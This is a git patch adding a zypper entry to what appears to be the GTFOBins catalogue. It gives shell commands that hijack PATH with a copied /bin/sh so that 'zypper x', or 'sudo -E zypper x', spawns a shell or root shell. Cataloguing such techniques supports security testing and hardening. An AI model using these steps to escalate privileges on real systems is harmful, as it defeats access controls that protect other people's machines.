From 8c03983ab8587266330665ed6e2f6d1e9293b6b2 Mon Sep 17 00:00:00 2001 From: the-remmer Date: Fri, 22 Feb 2019 12:51:30 +0100 Subject: [PATCH] Add zypper Close #52. --- _gtfobins/zypper.md | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 _gtfobins/zypper.md diff --git a/_gtfobins/zypper.md b/_gtfobins/zypper.md new file mode 100644 index 0000000..3e051f8 --- /dev/null +++ b/_gtfobins/zypper.md @@ -0,0 +1,21 @@ +--- +functions: + shell: + - description: This requires `/bin/sh` to be copied to `/usr/lib/zypper/commands/zypper-x` and this usually requires elevated privileges. + code: | + zypper x + - code: | + TF=$(mktemp -d) + cp /bin/sh $TF/zypper-x + export PATH=$TF:$PATH + zypper x + sudo: + - description: This requires `/bin/sh` to be copied to `/usr/lib/zypper/commands/zypper-x` and this usually requires elevated privileges. + code: | + sudo zypper x + - code: | + TF=$(mktemp -d) + cp /bin/sh $TF/zypper-x + export PATH=$TF:$PATH + sudo -E zypper x +---